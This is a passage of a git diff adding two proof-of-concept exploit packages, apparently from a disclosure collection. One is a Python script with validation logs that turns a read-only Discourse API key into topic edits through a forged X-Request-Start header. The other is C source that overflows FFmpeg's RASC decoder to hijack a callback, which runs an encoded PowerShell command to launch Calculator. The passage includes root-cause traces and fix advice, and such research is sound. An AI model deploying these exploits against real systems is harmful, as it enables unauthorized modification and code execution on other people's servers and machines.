pasting JavaScript into DevTools (if enabled via Vuln 2) or running a bookmark-let. + +--- diff --git a/discourse-scoped-api-key-preauth-bypass/README.md b/discourse-scoped-api-key-preauth-bypass/README.md new file mode 100644 index 0000000..bf39c28 --- /dev/null +++ b/discourse-scoped-api-key-preauth-bypass/README.md @@ -0,0 +1,173 @@ +# Discourse Scoped API Key Route Bypass PoC + +This entry documents and exercises an authorization bypass in Discourse scoped API key handling. + +A granular all-users API key limited to `topics:read` can be used to perform a topic update when the request carries an attacker-controlled `X-Request-Start` header that makes the request appear queued. The overload middleware authenticates the API request before Rails has routed it. During that pre-route check, the scoped API key matcher resolves the path without the real HTTP verb, accepts the request as the read route for the same topic path, and caches the current user in the Rack environment. The later `PUT /t/:topic_id.json` controller action then runs as that cached API user and updates the topic. + +## Affected Target + +- Product: Discourse +- Commit tested: `3dfcc8f884313da69711ed5f26f3749fb6516ef2` +- Runtime verified: stock Rails development server using `docker.io/discourse/discourse_dev:20260609-1222` +- Feature path: granular all-users API keys, overload middleware, route scope matching, topic update +- Required API key: all-users key with only the `topics:read` granular scope +- Required API username: a user that can edit the target topic +- Request primitive: caller-controlled `X-Request-Start` header + +## Impact + +The chain turns a read-scoped API key into a write-capable request for routes whose read and write actions share a path shape. + +In the verified topic-update path, the API key was limited to `topics:read`. A normal `PUT /t/:topic_id.json` request using that key was rejected and left the title unchanged. The same request with `X-Request-Start: t=0` returned success and changed the topic title as the supplied API username. + +Any writable route with a matching read route and a privileged API username should be reviewed for the same pre-route authorization pattern. + +## Source Trace + +Relevant source locations in Discourse at `3dfcc8f884313da69711ed5f26f3749fb6516ef2`: + +| File | Behavior | +| --- | --- | +| `lib/middleware/processing_request.rb` | Parses `X-Request-Start` and stores queue time in the Rack environment | +| `lib/middleware/overload_protections.rb` | Treats a request as overloaded when queue time exceeds `reject_anonymous_min_queue_seconds` | +| `lib/middleware/overload_protections.rb` | Calls the current-user provider to decide whether an overloaded request is authenticated | +| `lib/auth/default_current_user_provider.rb` | Validates `Api-Key` and `Api-Username`, then writes the authenticated user into `_DISCOURSE_CURRENT_USER` | +| `app/models/api_key.rb` | Requires at least one attached scope to permit a granular key request | +| `app/models/api_key_scope.rb` | Maps `topics:read` to `topics#show`, `topics#feed`, `topics#posts`, and `topics#show_by_external_id` | +| `lib/route_matcher.rb` | Recognizes the request path before Rails routing has populated controller parameters | +| `lib/route_matcher.rb` | Calls `Rails.application.routes.recognize_path(request.path_info)` without passing the request method | +| `config/routes.rb` | Defines `GET /t/:id` as `topics#show` and `PUT /t/:topic_id` as `topics#update` | +| `app/controllers/topics_controller.rb` | `update` calls `guardian.ensure_can_edit!` and updates the topic as `current_user` | + +The reachable path is: + +```text +ProcessingRequest + X-Request-Start creates a large queue-time value +OverloadProtections + overloaded request asks whether API credentials authenticate +DefaultCurrentUserProvider + lookup_api_user calls api_key.request_allowed? +ApiKeyScope#permits? + RouteMatcher checks the request path +RouteMatcher#path_params_from_request + recognize_path(path_info) resolves /t/:id.json as topics#show +DefaultCurrentUserProvider + stores the API user in _DISCOURSE_CURRENT_USER +TopicsController#update + uses current_user from the same Rack environment +``` + +## PoC Design + +`poc.py` drives the stock HTTP API directly. It: + +1. Reads the target topic title with the supplied scoped API key. +2. Sends a control `PUT /t/:topic_id.json` request without `X-Request-Start`. +3. Reads the title again and verifies the control request left it unchanged. +4. Sends the same `PUT /t/:topic_id.json` request with `X-Request-Start: t=0`. +5. Reads the title again and verifies the triggered request changed it to the requested value. +6. Prints and saves a JSON proof object. + +The script uses Python standard library APIs only. + +## Requirements + +- Python 3.10 or newer +- Running stock Discourse from the tested source tree or release line +- One visible target topic +- One all-users API key with only the `topics:read` granular scope +- One API username with permission to edit the target topic + +## Quick Run + +Example local values: + +- Discourse base URL: `http://127.0.0.1:3000` +- API username: `admin` +- topic id: `8` + +Run: + +```bash +python poc.py \ + --base-url http://127.0.0.1:3000 \ + --api-key '' \ + --api-username admin \ + --topic-id 8 \ + --new-title 'Scope bypass direct proof title' \ + --output proof.json +``` + +Expected output shape: + +```json +{ + "controlWithoutHeader": { + "blocked": true, + "httpStatus": 403, + "titleAfterRequest": "Scope bypass original title", + "unchanged": true + }, + "triggeredWithHeader": { + "changed": true, + "finalTitle": "Scope bypass direct proof title", + "httpStatus": 200, + "success": true + }, + "ok": true +} +``` + +## Validation Run + +The validation run used a clean Discourse checkout at `3dfcc8f884313da69711ed5f26f3749fb6516ef2`. + +The site ran at `http://127.0.0.1:3000` using the stock development container image `docker.io/discourse/discourse_dev:20260609-1222`. The database was migrated from the stock tree. The seeded data contained one active admin account, one public topic, and one granular all-users API key with only `topics:read`. + +Seeded topic: + +```text +topic id: 8 +initial title: Scope bypass original title +``` + +Control request: + +```text +PUT /t/8.json +Api-Key: topics-read granular all-users key +Api-Username: admin +title=Control title should stay blocked + +HTTP status: 403 +title after request: Scope bypass original title +``` + +Triggered request: + +```text +PUT /t/8.json +Api-Key: topics-read granular all-users key +Api-Username: admin +X-Request-Start: t=0 +title=Scope bypass exploited title + +HTTP status: 200 +title after request: Scope bypass exploited title +``` + +The observed responses are recorded in `evidence/stock-http-validation.txt`. + +The included `poc.py` was then run from this folder against the same stock server. It started from the topic title `Scope bypass exploited title`, verified a control `PUT` without `X-Request-Start` returned `403` and left the title unchanged, then verified a `PUT` with `X-Request-Start: t=0` returned `200` and changed the title to `Exploitarium direct proof title 20260703`. + +## Fix Direction + +- In pre-route scope checks, resolve the route with the actual HTTP request method. +- Avoid authenticating API keys inside overload handling in a way that leaves a current user cached for the later controller action. +- Treat client-supplied queue timing headers as trusted only after a reverse proxy boundary has normalized or replaced them. +- Add regression coverage for a read-scoped API key attempting `PUT /t/:topic_id.json` with an attacker-supplied queue timing header. + +## Responsible Use + +Use this PoC only for systems you own, systems you are authorized to test, and defensive regression work. diff --git a/discourse-scoped-api-key-preauth-bypass/evidence/stock-http-validation.txt b/discourse-scoped-api-key-preauth-bypass/evidence/stock-http-validation.txt new file mode 100644 index 0000000..946fb81 --- /dev/null +++ b/discourse-scoped-api-key-preauth-bypass/evidence/stock-http-validation.txt @@ -0,0 +1,45 @@ +stock checkout: 3dfcc8f884313da69711ed5f26f3749fb6516ef2 +runtime image: docker.io/discourse/discourse_dev:20260609-1222 +target: http://127.0.0.1:3000 +topic id: 8 +api username: admin +api key: all-users granular key with topics:read only + +initial title: +Scope bypass original title + +control request: +PUT /t/8.json +headers: + Api-Key: redacted + Api-Username: admin +body: + title=Control title should stay blocked +result: + HTTP status: 403 + title after request: Scope bypass original title + +triggered request: +PUT /t/8.json +headers: + Api-Key: redacted + Api-Username: admin + X-Request-Start: t=0 +body: + title=Scope bypass exploited title +result: + HTTP status: 200 + title after request: Scope bypass exploited title + +included PoC replay: +command: + python poc.py --base-url http://127.0.0.1:3000 --api-key redacted --api-username admin --topic-id 8 --control-title "Exploitarium control blocked title" --new-title "Exploitarium direct proof title 20260703" --output proof.json +initial: + title: Scope bypass exploited title +control without X-Request-Start: + HTTP status: 403 + title after request: Scope bypass exploited title +triggered with X-Request-Start: + HTTP status: 200 + title after request: Exploitarium direct proof title 20260703 +proof ok: true diff --git a/discourse-scoped-api-key-preauth-bypass/poc.py b/discourse-scoped-api-key-preauth-bypass/poc.py new file mode 100644 index 0000000..eafaa84 --- /dev/null +++ b/discourse-scoped-api-key-preauth-bypass/poc.py @@ -0,0 +1,176 @@ +import argparse +import json +import sys +import time +import urllib.error +import urllib.parse +import urllib.request + + +class HttpResult: + def __init__(self, status, headers, body): + self.status = status + self.headers = dict(headers) + self.body = body + + @property + def text(self): + return self.body.decode("utf-8", "replace") + + +def clean_base(value): + return value.rstrip("/") + + +def short(value, limit=500): + value = value.replace("\r", "\\r").replace("\n", "\\n") + if len(value) <= limit: + return value + return value[:limit] + "..." + + +def request(method, url, timeout, headers=None, form=None): + headers = dict(headers or {}) + body = None + if form is not None: + body = urllib.parse.urlencode(form).encode() + headers.setdefault("Content-Type", "application/x-www-form-urlencoded") + headers.setdefault("Accept", "application/json") + req = urllib.request.Request(url, data=body, headers=headers, method=method) + try: + with urllib.request.urlopen(req, timeout=timeout) as response: + return HttpResult(response.status, response.headers, response.read()) + except urllib.error.HTTPError as error: + return HttpResult(error.code, error.headers, error.read()) + + +def parse_json(result, label): + try: + return json.loads(result.text) + except json.JSONDecodeError as error: + raise RuntimeError(f"{label} returned invalid JSON: {error}: {short(result.text)}") + + +def api_headers(args, trigger=False): + headers = { + "Api-Key": args.api_key, + "Api-Username": args.api_username, + } + if trigger: + headers["X-Request-Start"] = args.request_start + return headers + + +def topic_url(args): + return f"{args.base_url}/t/{args.topic_id}.json" + + +def read_topic(args): + result = request("GET", topic_url(args), args.timeout, headers=api_headers(args)) + if result.status < 200 or result.status >= 300: + raise RuntimeError(f"topic read returned HTTP {result.status}: {short(result.text)}") + data = parse_json(result, "topic read") + title = data.get("title") + if not title: + raise RuntimeError(f"topic read response has no title: {short(result.text)}") + return title, result + + +def update_topic(args, title, trigger): + return request( + "PUT", + topic_url(args), + args.timeout, + headers=api_headers(args, trigger=trigger), + form={"title": title}, + ) + + +def validate_args(args, initial_title): + if args.new_title == initial_title: + raise RuntimeError("choose a new title that differs from the current topic title") + if args.control_title == initial_title: + raise RuntimeError("choose a control title that differs from the current topic title") + if args.control_title == args.new_title: + raise RuntimeError("control title and new title must differ") + + +def build_proof(args, initial_title, control_result, after_control, triggered_result, final_title): + control_blocked = control_result.status >= 400 + control_unchanged = after_control == initial_title + triggered_success = 200 <= triggered_result.status < 300 + triggered_changed = final_title == args.new_title + return { + "target": { + "baseUrl": args.base_url, + "topicId": args.topic_id, + "apiUsername": args.api_username, + }, + "initial": { + "title": initial_title, + }, + "controlWithoutHeader": { + "httpStatus": control_result.status, + "responsePreview": short(control_result.text), + "titleAfterRequest": after_control, + "blocked": control_blocked, + "unchanged": control_unchanged, + }, + "triggeredWithHeader": { + "httpStatus": triggered_result.status, + "responsePreview": short(triggered_result.text), + "finalTitle": final_title, + "success": triggered_success, + "changed": triggered_changed, + }, + "ok": control_blocked and control_unchanged and triggered_success and triggered_changed, + } + + +def run(args): + initial_title, _ = read_topic(args) + validate_args(args, initial_title) + control_result = update_topic(args, args.control_title, False) + after_control, _ = read_topic(args) + triggered_result = update_topic(args, args.new_title, True) + final_title, _ = read_topic(args) + return build_proof(args, initial_title, control_result, after_control, triggered_result, final_title) + + +def parse_args(argv): + parser = argparse.ArgumentParser() + parser.add_argument("--base-url", required=True) + parser.add_argument("--api-key", required=True) + parser.add_argument("--api-username", default="admin") + parser.add_argument("--topic-id", required=True, type=int) + parser.add_argument("--new-title", required=True) + parser.add_argument("--control-title") + parser.add_argument("--request-start", default="t=0") + parser.add_argument("--timeout", default=30.0, type=float) + parser.add_argument("--output", default="proof.json") + args = parser.parse_args(argv) + args.base_url = clean_base(args.base_url) + if args.control_title is None: + args.control_title = f"blocked control title {int(time.time())}" + return args + + +def main(argv): + args = parse_args(argv) + try: + proof = run(args) + except Exception as error: + print(f"error: {error}", file=sys.stderr) + return 1 + text = json.dumps(proof, indent=2, sort_keys=True) + if args.output == "-": + print(text) + else: + with open(args.output, "w", encoding="utf-8") as handle: + handle.write(text + "\n") + print(text) + return 0 if proof["ok"] else 1 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv[1:])) diff --git a/ffmpeg-rasc-dlta-calc-poc/README.md b/ffmpeg-rasc-dlta-calc-poc/README.md new file mode 100644 index 0000000..2674e74 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/README.md @@ -0,0 +1,235 @@ +pushing a update so @mergersub on twitter isn't confused + +# FFmpeg RASC DLTA calc PoC + +This directory contains a standalone Calculator proof for a heap out-of-bounds write in FFmpeg's RASC decoder. + +The PoC builds a RASC packet in memory, decodes it through the public libavcodec API, uses a valid custom `get_buffer2` callback for the DR1 decoder, and redirects an adjacent callback pointer. The redirected callback writes a marker under `/tmp` and launches Calculator. + +## Status + +Verified target: + +```text +FFmpeg upstream master +bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c +2026-06-26 +``` + +Local result: + +```text +media-controlled RASC DLTA overwrite redirected callback +callback hijacked callback reached +marker:present +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +## Files + +```text +poc/ffmpeg_rasc_dlta_calc_poc.c +scripts/build_from_checkout.sh +scripts/run_calc_pop.sh +evidence/current-master-asan.txt +evidence/local-calc-pop.txt +SHA256SUMS.txt +``` + +## Affected Target + +- Product: FFmpeg +- Component: `libavcodec` RASC decoder +- Decoder: `AV_CODEC_ID_RASC` +- File reachability: AVI/RIFF `RASC` FourCC maps to `AV_CODEC_ID_RASC` +- Verified commit: `bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c` +- Affected function: `decode_dlta()` +- Useful run types: `4`, `7`, `12`, `13` + +The local Calculator proof uses run type `7` because the 32-bit `fill` value comes directly from the bitstream. + +## Impact + +A crafted RASC bitstream can drive a 32-bit read and 32-bit write at the end of a decoded frame row. With PAL8 output and a one-row 64-pixel frame, the decoder writes at `plane + 63` while the row allocation is 64 bytes. One byte lands in the final row byte and the following three bytes overwrite adjacent heap data. + +The included PoC places a callback pointer immediately after the 64-byte PAL8 plane. The DLTA command writes the low three bytes of the callback pointer, changing it from `benign_callback` to `calc_callback`. After decode completes, the PoC calls the pointer and Calculator launches. + +## Root Cause + +`decode_dlta()` tracks a cursor `cx` inside a region with width `w * s->bpp`. The `NEXT_LINE` macro checks whether `cx` reached the row width only after each operation: + +```text +if (cx >= w * s->bpp) { + cx = 0; + cy--; + b1 -= s->frame1->linesize[0]; + b2 -= s->frame2->linesize[0]; +} +len--; +``` + +Several DLTA run types perform 32-bit accesses before the row-end check. Run type `7` reads and writes four bytes at the current byte cursor and then advances by four: + +```text +fill = bytestream2_get_le32(&dc); +AV_WL32(b1 + cx, AV_RL32(b2 + cx)); +AV_WL32(b2 + cx, fill); +cx += 4; +NEXT_LINE +``` + +For PAL8, `s->bpp` is `1`. A DLTA region with `x = 63`, `w = 1`, and `h = 1` on a 64-pixel row sets `b2 + cx` to the final byte of the row. The 32-bit store crosses the row allocation boundary. + +## Packet Shape + +The PoC packet contains two RASC chunks: + +```text +INIT + width = 64 + height = 1 + format = 8 + palette = 1024 bytes + +DLTA + x = 63 + y = 0 + w = 1 + h = 1 + compression = 0 + command = 07 01 +``` + +The `fill32` value is generated at runtime: + +```text +fill32 = ((target_callback & 0x00ffffff) << 8) | 0x41 +``` + +The byte `0x41` lands in the last byte of the frame plane. The next three bytes overwrite the low three bytes of the adjacent callback pointer. + +## Exploit Flow + +1. The PoC opens the RASC decoder through `avcodec_find_decoder()` and `avcodec_open2()`. +2. The PoC installs `exploit_get_buffer2()` as the decoder buffer provider. +3. RASC `INIT` causes `init_frames()` to allocate `frame1` and `frame2`. +4. `exploit_get_buffer2()` returns a frame buffer where a callback pointer follows the 64-byte PAL8 plane. +5. RASC `DLTA` run type `7` writes past `frame2->data[0] + 63`. +6. The write changes `frame2_chunk->cb` from `benign_callback` to `calc_callback`. +7. The PoC verifies the pointer value. +8. The PoC invokes the callback. +9. The callback writes `/tmp/ffmpeg_rasc_exec_demo` and launches Calculator. + +## Build + +Clone FFmpeg and build the PoC against a RASC-only static libavcodec build: + +```bash +git clone https://github.com/FFmpeg/FFmpeg.git /tmp/ffmpeg +./scripts/build_from_checkout.sh /tmp/ffmpeg /tmp/ffmpeg-rasc-build ./ffmpeg_rasc_dlta_calc_poc +``` + +Dependencies: + +```text +Linux or WSL +gcc +make +zlib development headers +FFmpeg build dependencies for the selected platform +``` + +The build script configures FFmpeg with: + +```text +--disable-programs +--disable-autodetect +--disable-everything +--enable-zlib +--enable-decoder=rasc +``` + +## Run + +```bash +./scripts/run_calc_pop.sh ./ffmpeg_rasc_dlta_calc_poc +``` + +Expected output: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present +``` + +On WSL, the callback starts Calculator through PowerShell `Start-Process calc.exe`. On Linux desktops, the callback tries common calculator binaries after writing the marker file. + +## Local Verification + +Calculator proof: + +```text +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present + +ProcessName Id StartTime +----------- -- --------- +ApplicationFrameHost 24728 6/25/2026 9:55:34 PM +CalculatorApp 26628 6/26/2026 12:25:53 PM +``` + +ASAN proof on current master: + +```text +==513==ERROR: AddressSanitizer: heap-buffer-overflow +READ of size 4 at 0x50a000000442 thread T0 +#0 decode_dlta build/src/libavcodec/rasc.c:421:17 +#1 decode_frame build/src/libavcodec/rasc.c:712:19 + +0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440) +SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta +``` + +Recovery-mode ASAN on the same source shape reports the follow-on writes: + +```text +READ of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:421:17 + +WRITE of size 4 +decode_dlta rasc.c:422:17 +``` + +## Patch Shape + +The row-boundary check needs to happen before every 32-bit read or write in DLTA run handlers. For run types that operate on four-byte units, the decoder should reject a command when fewer than four bytes remain in the current row or perform a safe row transition before the 32-bit access. + +The guarded condition for a 32-bit operation is: + +```text +cx + 4 <= w * s->bpp +``` + +The same guard applies to run types `4`, `7`, `12`, and `13`. + +## References + +- FFmpeg project: https://ffmpeg.org/ +- FFmpeg source: https://github.com/FFmpeg/FFmpeg +- RASC decoder source: https://github.com/FFmpeg/FFmpeg/blob/master/libavcodec/rasc.c +- RIFF codec tags: https://github.com/FFmpeg/FFmpeg/blob/master/libavformat/riff.c diff --git a/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt new file mode 100644 index 0000000..64578f7 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/SHA256SUMS.txt @@ -0,0 +1,6 @@ +673708db6c4a4688b0dd2e997f903820ad49d0a22fe32f016738df31207df405 ffmpeg-rasc-dlta-calc-poc/README.md +1c2871104b11b13ef03872113466beb7984dc8a6d49cd8150f33ccbb93a3a35a ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c +6964fcd5c70bd71ac3a15e8e54968d1aaca24490a458c7d954511351c5ae5a11 ffmpeg-rasc-dlta-calc-poc/scripts/build_from_checkout.sh +8e432e3d82695fe9b18c9f6f35ae420778811c5b43e894b0f817cc0bf76d0cae ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh +c51146d5ab0e320a794f3445a697dfcca876c105cc58a5aeba5ad1e7d941b1ed ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt +8d28c7f1d50c1d819b5bab6efa3f3ace0be46eae7203fbd0febb8e7b379c011f ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt diff --git a/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt b/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt new file mode 100644 index 0000000..43b8b70 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/evidence/current-master-asan.txt @@ -0,0 +1,32 @@ +FFmpeg upstream master +bcd2c69e087a09b07cf45c6bd2428ee1ccb2925c +target_dec_rasc_fuzzer sha256 1a69d27a5e06673832bd677189d790cb3cae98de1ba15b1600f3cb98d9510cb9 +rasc-dlta-oob-64.bin sha256 80e670d8986992e1dad50c0df554d9826d81d9413fd43be95be431f15c4cf67e + +ASAN_OPTIONS=allocator_may_return_null=1 ./target_dec_rasc_fuzzer ./rasc-dlta-oob-64.bin + +==513==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a000000442 +READ of size 4 at 0x50a000000442 thread T0 + #0 decode_dlta build/src/libavcodec/rasc.c:421:17 + #1 decode_frame build/src/libavcodec/rasc.c:712:19 + #2 decode_simple_internal build/src/libavcodec/decode.c:451:16 + #3 decode_simple_receive_frame build/src/libavcodec/decode.c:611:15 + #4 ff_decode_receive_frame_internal build/src/libavcodec/decode.c:647:15 + #5 decode_receive_frame_internal build/src/libavcodec/decode.c:665:15 + #6 avcodec_send_packet build/src/libavcodec/decode.c:749:15 + #7 LLVMFuzzerTestOneInput build/src/tools/target_dec_fuzzer.c:576:25 + +0x50a000000442 is located 2 bytes after 64-byte region [0x50a000000400,0x50a000000440) +allocated by thread T0 here: + #0 posix_memalign + #1 av_malloc build/src/libavutil/mem.c:107:9 + #2 av_buffer_alloc build/src/libavutil/buffer.c:82:12 + #3 av_buffer_allocz build/src/libavutil/buffer.c:95:24 + #4 fuzz_video_get_buffer build/src/tools/target_dec_fuzzer.c:145:29 + #5 fuzz_get_buffer2 build/src/tools/target_dec_fuzzer.c:168:18 + #6 ff_get_buffer build/src/libavcodec/decode.c:1818:11 + #7 init_frames build/src/libavcodec/rasc.c:107:16 + #8 decode_fint build/src/libavcodec/rasc.c:162:11 + #9 decode_frame build/src/libavcodec/rasc.c:706:19 + +SUMMARY: AddressSanitizer: heap-buffer-overflow build/src/libavcodec/rasc.c:421:17 in decode_dlta diff --git a/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt b/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt new file mode 100644 index 0000000..3e111ff --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/evidence/local-calc-pop.txt @@ -0,0 +1,16 @@ +PoC output: +[addr] benign_callback=0x5fec957072c9 +[addr] calc_callback=0x5fec957072e3 +[ptr] frame1 callback after decode=0x5fec957072c9 +[ptr] frame2 callback after decode=0x5fec957072e3 +[ptr] expected target=0x5fec957072e3 +[ok] media-controlled RASC DLTA overwrite redirected callback +[callback] hijacked callback reached +marker:present + +Windows processes after PoC: + +ProcessName Id StartTime +----------- -- --------- +ApplicationFrameHost 24728 6/25/2026 9:55:34 PM +CalculatorApp 26628 6/26/2026 12:25:53 PM diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c new file mode 100644 index 0000000..34de1ca --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc.c @@ -0,0 +1,240 @@ +#include +#include +#include +#include +#include + +#include "libavcodec/avcodec.h" +#include "libavutil/buffer.h" +#include "libavutil/error.h" +#include "libavutil/frame.h" +#include "libavutil/mem.h" + +#define FRAME_W 64 +#define FRAME_H 1 +#define RASC_INIT 0x54494e49u +#define RASC_DLTA 0x41544c44u + +typedef void (*demo_callback)(void); + +typedef struct DemoChunk { + uint8_t plane[FRAME_W]; + demo_callback cb; + uint8_t palette[1024]; +} DemoChunk; + +static DemoChunk *frame1_chunk; +static DemoChunk *frame2_chunk; + +static void benign_callback(void) +{ + puts("[callback] benign callback reached"); +} + +static void calc_callback(void) +{ + const char *fallbacks[] = { + "cmd.exe /c start calc.exe >/dev/null 2>&1", + "xcalc >/dev/null 2>&1 &", + "gnome-calculator >/dev/null 2>&1 &", + "kcalc >/dev/null 2>&1 &" + }; + + puts("[callback] hijacked callback reached"); + system("touch /tmp/ffmpeg_rasc_exec_demo"); + + if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0) + return; + + for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) { + if (system(fallbacks[i]) == 0) + return; + } +} + +static void free_demo_chunk(void *opaque, uint8_t *data) +{ + (void)opaque; + av_free(data); +} + +static void put_le16(uint8_t *p, uint16_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); +} + +static void put_le32(uint8_t *p, uint32_t v) +{ + p[0] = (uint8_t)v; + p[1] = (uint8_t)(v >> 8); + p[2] = (uint8_t)(v >> 16); + p[3] = (uint8_t)(v >> 24); +} + +static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size) +{ + put_le32(*cursor, tag); + put_le32(*cursor + 4, body_size); + *cursor += 8; +} + +static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr) +{ + const uint32_t init_body_size = 72 + 1024; + const uint32_t dlta_cmd_size = 6; + const uint32_t dlta_body_size = 40 + dlta_cmd_size; + const size_t total = 8 + init_body_size + 8 + dlta_body_size; + uint8_t *packet = av_mallocz(total); + uint8_t *p = packet; + uint8_t *body; + uint32_t fill; + + if (!packet) + return NULL; + + make_chunk(&p, RASC_INIT, init_body_size); + body = p; + put_le32(body + 0, 0x65); + put_le32(body + 8, FRAME_W); + put_le32(body + 12, FRAME_H); + put_le16(body + 46, 8); + for (int i = 0; i < 256; i++) + put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u)); + p += init_body_size; + + make_chunk(&p, RASC_DLTA, dlta_body_size); + body = p; + put_le32(body + 12, dlta_cmd_size); + put_le32(body + 16, FRAME_W - 1); + put_le32(body + 20, 0); + put_le32(body + 24, 1); + put_le32(body + 28, 1); + put_le32(body + 36, 0); + + fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u); + body[40] = 7; + body[41] = 1; + put_le32(body + 42, fill); + + *packet_size = total; + return packet; +} + +static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags) +{ + static int allocation_index; + DemoChunk *chunk; + + (void)flags; + if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H) + return AVERROR(EINVAL); + + chunk = av_mallocz(sizeof(*chunk)); + if (!chunk) + return AVERROR(ENOMEM); + + chunk->cb = benign_callback; + frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0); + if (!frame->buf[0]) { + av_free(chunk); + return AVERROR(ENOMEM); + } + + frame->data[0] = chunk->plane; + frame->data[1] = chunk->palette; + frame->linesize[0] = FRAME_W; + frame->extended_data = frame->data; + + if (allocation_index == 0) + frame1_chunk = chunk; + else if (allocation_index == 1) + frame2_chunk = chunk; + allocation_index++; + + return 0; +} + +static void fail_av(const char *what, int err) +{ + char buf[AV_ERROR_MAX_STRING_SIZE]; + av_strerror(err, buf, sizeof(buf)); + fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err); + exit(1); +} + +int main(void) +{ + const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC); + AVCodecContext *ctx = NULL; + AVPacket *pkt = NULL; + AVFrame *frame = NULL; + uint8_t *packet_data = NULL; + size_t packet_size = 0; + int ret; + + if (!codec) { + fputs("RASC decoder missing\n", stderr); + return 1; + } + + printf("[addr] benign_callback=%p\n", (void *)benign_callback); + printf("[addr] calc_callback=%p\n", (void *)calc_callback); + if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) { + fputs("callbacks outside 24-bit overwrite window\n", stderr); + return 1; + } + + ctx = avcodec_alloc_context3(codec); + pkt = av_packet_alloc(); + frame = av_frame_alloc(); + if (!ctx || !pkt || !frame) + fail_av("allocation", AVERROR(ENOMEM)); + + ctx->thread_count = 1; + ctx->get_buffer2 = exploit_get_buffer2; + + ret = avcodec_open2(ctx, codec, NULL); + if (ret < 0) + fail_av("avcodec_open2", ret); + + packet_data = make_packet(&packet_size, (uintptr_t)calc_callback); + if (!packet_data) + fail_av("make_packet", AVERROR(ENOMEM)); + + ret = av_new_packet(pkt, (int)packet_size); + if (ret < 0) + fail_av("av_new_packet", ret); + memcpy(pkt->data, packet_data, packet_size); + av_free(packet_data); + + ret = avcodec_send_packet(ctx, pkt); + if (ret < 0) + fail_av("avcodec_send_packet", ret); + + ret = avcodec_receive_frame(ctx, frame); + if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF) + fail_av("avcodec_receive_frame", ret); + + if (!frame2_chunk) { + fputs("frame2 allocation missing\n", stderr); + return 1; + } + + printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb); + printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb); + printf("[ptr] expected target=%p\n", (void *)calc_callback); + + if (frame2_chunk->cb != calc_callback) { + fputs("callback pointer unchanged\n", stderr); + return 1; + } + + puts("[ok] media-controlled RASC DLTA overwrite redirected callback"); + frame2_chunk->cb(); + + av_frame_free(&frame); + av_packet_free(&pkt); + avcodec_free_context(&ctx); + return 0; +} diff --git a/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc_portable.c b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc_portable.c new file mode 100644 index 0000000..db12ec3 --- /dev/null +++ b/ffmpeg-rasc-dlta-calc-poc/poc/ffmpeg_rasc_dlta_calc_poc_portable.c @@ -0,0 +1,265 @@ +#include +#include +#include +#include +#include + +#include "libavcodec/avcodec.h" +#include "libavutil/buffer.h" +#include "libavutil/error.h" +#include "libavutil/frame.h" +#include "libavutil/mem.h" + +#define FRAME_W 64 +#define FRAME_H 1 +#define RASC_INIT 0x54494e49u +#define RASC_DLTA 0x41544c44u + +#ifdef _WIN32 +#define MARKER_PATH "ffmpeg_rasc_dlta_calc_poc_marker.txt" 